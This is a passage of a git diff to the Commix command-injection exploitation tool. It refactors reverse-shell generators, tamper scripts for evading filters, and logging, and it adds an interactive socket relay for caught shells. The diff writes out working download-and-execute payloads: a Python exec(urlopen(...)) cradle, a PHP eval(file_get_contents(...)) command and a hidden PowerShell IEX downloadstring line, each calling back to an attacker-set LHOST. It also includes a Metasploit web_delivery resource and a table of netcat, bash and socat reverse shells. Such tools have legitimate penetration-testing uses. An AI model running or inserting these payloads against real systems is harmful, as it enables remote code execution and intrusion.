data.replace("%3b", ";").replace("%3d", "=").replace("%2b", "+").replace("%3a", ":") - if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: - checks.set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - else: - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - checks.set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - checks.msf_launch_msg(output) - break - elif web_delivery == '2': - if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - checks.set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" - else: - other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" - checks.msf_launch_msg(output) - break - elif web_delivery == '3': - if not settings.TARGET_OS == settings.OS.WINDOWS: - checks.windows_only_attack_vector() - continue - else: - other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" - checks.msf_launch_msg(output) - break - break - - # Check for available shell options - elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(other_shell): - return checks.shell_options(other_shell) - - # Invalid option - else: - common.invalid_option(other_shell) - continue +""" +Write the shared web_delivery.rc resource file for the given payload/target index. +""" +def _write_web_delivery_rc(payload, target_index): + output = "web_delivery.rc" + with open(output, 'w+') as filewrite: + filewrite.write("use exploit/multi/script/web_delivery" + settings.END_LINE.LF + + "set target " + str(target_index) + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "set srvport " + str(settings.SRVPORT) + settings.END_LINE.LF + + "set uripath " + settings.URIPATH + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) + return output +""" +Web delivery - Python meterpreter reverse TCP shell. +""" +def gen_web_delivery_python(): + if checks.metasploit_missing(): + return None + + output = _write_web_delivery_rc("python/meterpreter/reverse_tcp", 0) + data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" + if _needs_literal_encoding(): + data = data.replace("%3b", ";").replace("%3d", "=").replace("%2b", "+").replace("%3a", ":") + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + else: + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) return other_shell """ -Choose type of reverse TCP connection. +Web delivery - PHP meterpreter reverse TCP shell. """ -def reverse_tcp_options(separator): - # Available reverse TCP shell options. - REVERSE_TCP_OPTIONS = ( - ("1", "use netcat reverse TCP shells"), - ("2", "use other reverse TCP shells"), - ) - - message = ( - Style.BRIGHT - + "Available reverse TCP shell options:" - + Style.RESET_ALL - + "\n" - ) - - for option, description in REVERSE_TCP_OPTIONS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' for " - + description - + ".\n" - ) - - settings.print_data_to_stdout(message.rstrip()) - - while True: - reverse_tcp_option = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "reverse_tcp" - + Style.RESET_ALL - + ") > " - ) - - if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are in '" + reverse_tcp_option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - continue - - # Option 1 - Netcat shell. - elif reverse_tcp_option == '1': - reverse_tcp_option = netcat_version(separator) - - if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - checks.shell_success("reverse") - break - - elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: - return reverse_tcp_option - - else: - pass +def gen_web_delivery_php(): + if checks.metasploit_missing(): + return None + + output = _write_web_delivery_rc("php/meterpreter/reverse_tcp", 1) + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() + other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" + else: + other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" + checks.msf_launch_msg(output) + return other_shell - # Option 2 - Other reverse TCP shells. - elif reverse_tcp_option == '2': - reverse_tcp_option = other_reverse_shells(separator) +""" +Web delivery - Windows meterpreter reverse TCP shell. +""" +def gen_web_delivery_windows(): + if checks.metasploit_missing(): + return None - if settings.EVAL_BASED_STATE != False: - reverse_tcp_option = reverse_tcp_option.replace("$", "\\$") + output = _write_web_delivery_rc("windows/meterpreter/reverse_tcp", 2) + if not settings.TARGET_OS == settings.OS.WINDOWS: + checks.windows_only_attack_vector() + return None - if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - checks.shell_success("reverse") - break + other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" + checks.msf_launch_msg(output) + return other_shell - # Check for available shell options. - elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(reverse_tcp_option): - return checks.shell_options(reverse_tcp_option) +# Module path (relative to "reverse_tcp/") -> (description, generator(separator)). +REVERSE_TCP_MODULES = { + "netcat/traditional": ("Netcat-Traditional", lambda separator: _netcat_reverse_shell("nc.traditional")), + "netcat/busybox": ("Netcat-Busybox", lambda separator: _netcat_reverse_shell("busybox nc")), + "netcat/openbsd": ("Netcat-Openbsd (no '-e' support)", lambda separator: _netcat_reverse_shell("nc", use_dash_e=False)), + "php": ("PHP reverse TCP shell", lambda separator: gen_php_reverse()), + "perl": ("Perl reverse TCP shell", lambda separator: gen_perl_reverse()), + "ruby": ("Ruby reverse TCP shell", lambda separator: gen_ruby_reverse()), + "python": ("Python reverse TCP shell", lambda separator: gen_python_reverse()), + "socat": ("Socat reverse TCP shell", lambda separator: gen_socat_reverse()), + "bash": ("Bash reverse TCP shell", gen_bash_reverse), + "ncat": ("Ncat reverse TCP shell", lambda separator: gen_ncat_reverse()), + "meterpreter/php": ("PHP Meterpreter reverse TCP shell", lambda separator: gen_php_meterpreter_reverse()), + "meterpreter/python": ("Python Meterpreter reverse TCP shell", lambda separator: gen_python_meterpreter_reverse()), + "web_delivery/python": ("Python Meterpreter reverse TCP shell (web delivery)", lambda separator: gen_web_delivery_python()), + "web_delivery/php": ("PHP Meterpreter reverse TCP shell (web delivery)", lambda separator: gen_web_delivery_php()), + "web_delivery/windows": ("Windows Meterpreter reverse TCP shell (web delivery)", lambda separator: gen_web_delivery_windows()), +} - # Invalid option. - else: - common.invalid_option(reverse_tcp_option) - continue - - return reverse_tcp_option - -""" -Set up the reverse TCP connection -""" -def configure_reverse_tcp(separator): - # Set up LHOST for the reverse TCP connection. - while True: - # Pass the prompt to input() so readline handles redraws and line state correctly. - option = common.safe_input(settings.REVERSE_TCP_SHELL) - - if option.lower() == "reverse_tcp": - warn_msg = "You are in the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - continue - - # Display reverse TCP options. - elif option.lower() == "?": - menu.reverse_tcp_options() - continue - - # Exit Commix. - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - - # Return to previous shell context. - elif option.lower() == "os_shell" or option.lower() == "back": - settings.REVERSE_TCP = False - break - - # Switch to bind TCP mode. - elif option.lower() == "bind_tcp": - settings.BIND_TCP = True - settings.REVERSE_TCP = False - break - - # Continue when required options are set. - elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: - break - - # Handle set options. - elif option[0:4].lower() == "set ": - - # Set local host. - if option[4:10].lower() == "lhost ": - if checks.check_lhost(option[10:]): - if len(settings.LPORT) == 0: - pass - else: - break - else: - continue - - # RHOST is not supported in reverse TCP mode. - elif option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option is not " - err_msg += "usable for 'reverse_tcp' mode. Use the 'LHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - continue - - # Set local port. - elif option[4:10].lower() == "lport ": - if checks.check_lport(option[10:]): - if len(settings.LHOST) == 0: - pass - else: - break - else: - continue - - # Set server port. - elif option[4:12].lower() == "srvport ": - checks.check_srvport(option[12:]) - - # Set URI path. - elif option[4:12].lower() == "uripath ": - checks.check_uripath(option[12:]) - - # Invalid set option. - else: - common.invalid_option(option) - settings.print_data_to_stdout("Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.") - pass - - # Invalid option. - else: - common.invalid_option(option) - settings.print_data_to_stdout("Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.") - pass +""" +Set up and choose the reverse TCP connection - the prompt itself is the shared mode loop. +""" +REVERSE_TCP_MODE = modes.ShellMode( + name="reverse_tcp", + modules=REVERSE_TCP_MODULES, + help_menu=menu.reverse_tcp_options, + option_rows=lambda: [ + ("LHOST", settings.LHOST, True, "The local host to listen on / connect back to"), + ("LPORT", settings.LPORT, True, "The listening port"), + ("SRVPORT", str(settings.SRVPORT), False, "The local port for the web delivery server"), + ("URIPATH", settings.URIPATH, False, "The URI to use for the web delivery server"), + ("HANDLER", "on" if settings.HANDLER else "off", False, "Catch the shell locally (instead of an external listener) (nc/ncat)"), + ], + required=("LHOST", "LPORT"), + required_hint="Required options not set. Use 'set lhost <ip>' and 'set lport <port>'.", + set_options=( + ("lhost", checks.check_lhost), + ("lport", checks.check_lport), + ("srvport", checks.check_srvport), + ("uripath", checks.check_uripath), + ("handler", checks.check_handler), + ), + unsupported=("rhost", "lhost"), + build=lambda module_path, separator: REVERSE_TCP_MODULES[module_path][1](separator), + usage_hint="Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.", +) + +def reverse_tcp_options(separator, filename, url): + return modes.shell_mode_options(REVERSE_TCP_MODE, separator, filename, url) # eof \ No newline at end of file diff --git a/src/core/shells/session_relay.py b/src/core/shells/session_relay.py new file mode 100644 index 0000000000..f43f2b862b --- /dev/null +++ b/src/core/shells/session_relay.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import sys +import socket +import threading +from src.utils import common +from src.utils import settings + +# How long the built-in reverse handler waits for the callback before giving up. +ACCEPT_TIMEOUT = 15 + +""" +Runs execute_cmd(cmd) on a background thread so the main thread stays free to accept() the callback. +""" +def run_payload_send(execute_cmd, cmd, result): + if settings.VERBOSITY_LEVEL == 0: + threading.current_thread().commix_suppress_output = True + try: + result["shell"] = execute_cmd(cmd) + except (Exception, SystemExit) as err: + # Output is suppressed on this thread, so hand the reason back for the caller to report. + result["error"] = err + +""" +Bridges local stdin/stdout to a connected shell socket - line-buffered, not raw-TTY. +""" +def interactive_relay(sock, filename, url): + remote_closed = threading.Event() + + def _reader(): + try: + while True: + data = sock.recv(4096) + if not data: + break + with settings.PRINT_LOCK: + settings._stdout_write(data.decode(settings.DEFAULT_CODEC, errors="replace")) + sys.stdout.flush() + except Exception: + pass + finally: + remote_closed.set() + + threading.Thread(target=_reader, daemon=True).start() + + try: + while not remote_closed.is_set(): + try: + line = common.safe_input("") + except KeyboardInterrupt: + from src.core.injections.controller import shell_options + shell_options.back_or_quit_prompt("Session interrupted (Ctrl-C pressed). [(b)ack/(q)uit] ", filename, url) + break + except EOFError: + break + if remote_closed.is_set(): + settings.print_data_to_stdout(settings.print_info_msg("Session closed by the remote host.")) + break + try: + sock.sendall((line + "\n").encode(settings.DEFAULT_CODEC, "replace")) + except (OSError, socket.error): + settings.print_data_to_stdout(settings.print_info_msg("Session closed by the remote host.")) + break + finally: + # shutdown() before close() forces the EOF that makes the remote shell exit. + try: + sock.shutdown(socket.SHUT_RDWR) + except Exception: + pass + try: + sock.close() + except Exception: + pass + +# eof diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index f0dbc27ac9..a2c7318cd9 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re from src.utils import settings from src.core.injections.controller import checks @@ -33,12 +32,6 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_back_slashes(payload): - payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) - return checks.tamper_restore_ignored_words(payload, obf_char) - if settings.TARGET_OS != settings.OS.WINDOWS: - return add_back_slashes(payload) - else: - return payload + return checks.interleave_char_tamper(payload, obf_char) # eof \ No newline at end of file diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index cd9e3b3d7a..a8799449f5 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -40,10 +40,14 @@ def add_caret_symbol(payload): rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + # "tokens" always appears quoted (e.g. "tokens=*") in this project's own for/f payloads - + # the leading quote must be consumed here too, or it leaks through as a stray "". + '"^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', long_string) : long_string.replace("^", "") } - payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', payload) + if long_string: + rep[re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', long_string)] = long_string.replace("^", "") + payload = checks.tamper_modify_letters_outside_quotes(payload, r'^\1') rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index a910dd783b..fb5ae69e5f 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re from src.utils import settings from src.core.injections.controller import checks @@ -33,13 +32,6 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_dollar_at_signs(payload): - payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) - return checks.tamper_restore_ignored_words(payload, obf_char) - - if settings.TARGET_OS != settings.OS.WINDOWS: - return add_dollar_at_signs(payload) - else: - return payload + return checks.interleave_char_tamper(payload, obf_char) # eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index eb73385998..9ef831ee9d 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -38,8 +38,10 @@ def add_double_quotes(payload): payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'""\1', payload) else: word = "tokens" + quoted = '"' + obf_char.join(word) + payload = payload.replace('"' + word, quoted) _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - payload = payload.replace(word,_) + payload = payload.replace(word, _) return checks.tamper_restore_ignored_words(payload, obf_char) return add_double_quotes(payload) diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index ea7687c718..9f653267b2 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re from src.utils import settings from src.core.injections.controller import checks @@ -33,12 +32,6 @@ def dependencies(): settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_single_quotes(payload): - payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) - return checks.tamper_restore_ignored_words(payload, obf_char) - if settings.TARGET_OS != settings.OS.WINDOWS: - return add_single_quotes(payload) - else: - return payload + return checks.interleave_char_tamper(payload, obf_char) # eof \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 8a6bdf027a..f7e722563f 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -36,7 +36,10 @@ def dependencies(): def tamper(payload): def sleep_to_timeout_ping(payload): if settings.TARGET_OS != settings.OS.WINDOWS: - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): + whitespace = settings.WHITESPACES[0] + payload = re.sub(r"sleep" + re.escape(whitespace) + r"(\$\(\(\d+\*\([^()]*\)\)\))", + lambda x: "timeout" + whitespace + x.group(1) + ".01" + whitespace + "ping" + whitespace + "localhost", payload) + for match in re.finditer(r"sleep" + re.escape(whitespace) + r"([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index a94679cee6..1d7dc9fdfd 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -34,7 +34,11 @@ def dependencies(): def tamper(payload): def sleep_to_usleep(payload): - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): + whitespace = settings.WHITESPACES[0] + # Arithmetic-gated delay ("sleep $((5*(cond)))") - scale its leading factor to microseconds. + payload = re.sub(r"sleep" + re.escape(whitespace) + r"\$\(\((\d+)\*", + lambda x: "usleep" + whitespace + "$((" + x.group(1) + "000000*", payload) + for match in re.finditer(r"sleep" + re.escape(whitespace) + r"([1-9]\d+|[0-9])", payload): sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] if match.group(0).split(settings.WHITESPACES[0])[1] != "0": usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 73c6bad74e..9f88e4a3ea 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -39,27 +39,19 @@ def dependencies(): def tamper(payload): def add_uninitialized_variable(payload): - # Safety check for incompatible scripts - if settings.TAMPER_SCRIPTS.get("backslashes") or settings.TAMPER_SCRIPTS.get("dollaratsigns"): - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work in combination with " - err_msg += "the tamper scripts 'backslashes' and/or 'dollaratsigns'." - - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Split payload into parts: obfuscated (${XX}) and plain - parts = re.split(r'(\$\{[A-Z]+\})', payload) - - # Apply obfuscation only on plain parts - for i in range(len(parts)): - if not re.match(r'\$\{[A-Z]+\}', parts[i]): - parts[i] = re.sub( - settings.TAMPER_MODIFICATION_LETTERS, - lambda x: obf_char + x.group(0), - parts[i] - ) - - payload = ''.join(parts) + def obfuscate(text): + # Split into parts: already obfuscated (${XX}) and plain + parts = re.split(r'(\$\{[A-Z]+\})', text) + for i in range(len(parts)): + if not re.match(r'\$\{[A-Z]+\}', parts[i]): + parts[i] = re.sub( + settings.TAMPER_MODIFICATION_LETTERS, + lambda x: obf_char + x.group(0), + parts[i] + ) + return ''.join(parts) + + payload = checks.tamper_outside_single_quotes(payload, obfuscate) return checks.tamper_restore_ignored_words(payload, obf_char) # Only apply on non-Windows targets diff --git a/src/core/testing.py b/src/core/testing.py index 4e4dd39c98..5ac4a3c3bf 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -13,9 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re import os -import sys from src.utils import settings """ diff --git a/src/utils/common.py b/src/utils/common.py index 164167e74f..e4e5e833be 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -18,7 +18,6 @@ import sys import json import time -import base64 import hashlib import traceback from src.utils import menu @@ -41,19 +40,39 @@ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Prompt Y/N/quit and store the boolean choice into the given settings attribute. +""" +def prompt_yes_no_setting(message, setting_name, default="N"): + while True: + choice = read_input(message, default=default, check_batch=True) + if choice in settings.CHOICE_YES: + setattr(settings, setting_name, True) + return + elif choice in settings.CHOICE_NO: + setattr(settings, setting_name, False) + return + elif choice in settings.CHOICE_QUIT: + raise SystemExit() + else: + invalid_option(choice) + """ Reads input from terminal safely """ def safe_input(message): try: - value = _input(message) - except UnicodeDecodeError as e: - value = _input(message.encode("utf-8", "ignore").decode("utf-8")) - except EOFError: - raise - except Exception as err_msg: - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return "" + try: + value = _input(message) + except UnicodeDecodeError: + value = _input(message.encode("utf-8", "ignore").decode("utf-8")) + except EOFError: + raise + except Exception as err_msg: + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return "" + finally: + settings.reset_terminal_style() # Enter starts a fresh line, bypassing print_data_to_stdout's tracking. settings.PROGRESS_LINE_OPEN = False return value @@ -66,7 +85,7 @@ def read_input(message, default=None, check_batch=True): if message: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) def is_empty(): - value = safe_input(settings.print_message(message)) + value = safe_input(settings.input_message(message)) if len(value) == 0: return default else: @@ -99,14 +118,11 @@ def is_empty(): elif value is None: if check_batch and menu.options.batch: settings.print_data_to_stdout(settings.print_message(message + str(default))) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used the default behavior, running in batch mode." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return default else: return is_empty() except KeyboardInterrupt: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.clear_current_line() raise """ @@ -322,7 +338,7 @@ def unhandled_exception(): raise SystemExit() elif "database disk image is malformed" in exc_msg: - exc_msg = "Local session file seems to be malformed. Please rerun with '--flush-session'." + err_msg = "Local session file seems to be malformed. Please re-run with '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index fdddb2636d..89701e1d15 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -13,23 +13,15 @@ For more see the file 'readme/COPYING' for copying permission. """ import re -import sys import random -import socket import string import tempfile from src.utils import menu from src.utils import settings from src.utils import common from src.core.injections.controller import checks -from src.core.requests import headers from src.core.requests import requests -from src.core.requests import proxy -from src.core.requests import redirection -from src.thirdparty.six.moves import http_client as _http_client -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup @@ -223,7 +215,6 @@ def replacement(match): field_name = item[:-1] new_value = str(random.randint(1, 9999)) if re.search(r"(?i)id", field_name) else \ ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6)) - # group(1) is the leading '&' (or '' for the start-of-string case) - keep it, only the value is new. return match.group(1) + item + new_value return re.sub(settings.EMPTY_FORM_FIELDS_REGEX, replacement, data) @@ -268,21 +259,9 @@ def enable_crawler(): Check for the existence of site's sitemap """ def check_sitemap(): - while True: - message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " - message += "the existence of site's sitemap(.xml)? [y/N] " - message = common.read_input(message, default="N", check_batch=True) - if message in settings.CHOICE_YES: - settings.SITEMAP_CHECK = True - return - elif message in settings.CHOICE_NO: - settings.SITEMAP_CHECK = False - return - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(message) - pass + message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + message += "the existence of site's sitemap(.xml)? [y/N] " + common.prompt_yes_no_setting(message, "SITEMAP_CHECK", default="N") """ Check if no usable links found. @@ -355,7 +334,7 @@ def do_process(url, http_request_method): return list(crawled_hrefs) return list("") - except Exception as e: # for non-HTML files and non-valid links + except Exception: # for non-HTML files and non-valid links pass diff --git a/src/utils/install.py b/src/utils/install.py index db3fc114b9..64c91fc49b 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -15,12 +15,9 @@ import os import subprocess -from src.utils import menu from src.utils import common from src.utils import settings from src.utils import requirements -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init # Removal Function def remove(): diff --git a/src/utils/logs.py b/src/utils/logs.py index d2b60d2bbe..2a408b56e5 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -15,9 +15,8 @@ import os import re import sys -import time +import shlex import tempfile -import sqlite3 from datetime import date from datetime import datetime from src.utils import menu @@ -26,7 +25,6 @@ from src.utils import session_handler from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init """ 1. Generate injection logs (logs.txt) in "./ouput" file. @@ -107,21 +105,18 @@ def create_log_file(url, output_dir): else: settings.SESSION_FILE = logs_path + "session.db" - # Load command history - if settings.LOAD_SESSION == True and os.path.exists(settings.CLI_HISTORY): + if os.path.exists(settings.CLI_HISTORY): checks.load_cmd_history() # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE try: - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + with open(filename, 'w' if menu.options.flush_session else 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - output_file.write(settings.END_LINE.LF + "=" * 37) - output_file.write(settings.END_LINE.LF + "| Started in " + \ - str(date.today()) + \ - " at " + datetime.now().strftime("%H:%M:%S") + " |") - output_file.write(settings.END_LINE.LF + "=" * 37) - output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) + http_request_method = settings.HTTPMETHOD.POST if menu.options.data else settings.HTTPMETHOD.GET + output_file.write("Target: " + url + " (" + http_request_method + ")" + settings.END_LINE.LF) + output_file.write("Command: " + " ".join(shlex.quote(_) for _ in sys.argv) + settings.END_LINE.LF) + output_file.write("Started: " + str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + settings.END_LINE.LF) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." @@ -136,57 +131,45 @@ def create_log_file(url, output_dir): return filename """ -Add the injection type / technique in log files. +Append a line to the report - a blank line separates it from a differently grouped one. """ -def add_type_and_technique(export_injection_info, filename, injection_type, technique): - - if export_injection_info == False: - settings.SHOW_LOGS_MSG = True +def add_line(filename, text, group=""): + if menu.options.no_logging: + return + try: with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) - export_injection_info = True - return export_injection_info - -""" -Add the vulnerable parameter in log files. -""" -def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - if header_name[1:] == settings.COOKIE.lower(): - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write(settings.END_LINE.LF) - + if group != settings.LAST_LOG_GROUP: + output_file.write(settings.END_LINE.LF) + settings.LAST_LOG_GROUP = group + output_file.write(text + settings.END_LINE.LF) + except: + pass """ -Add any payload in log files. +Add a confirmed finding in log files, in the same format the console summary prints it. """ -def update_payload(filename, counter, payload): - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - if settings.END_LINE.LF in payload: - 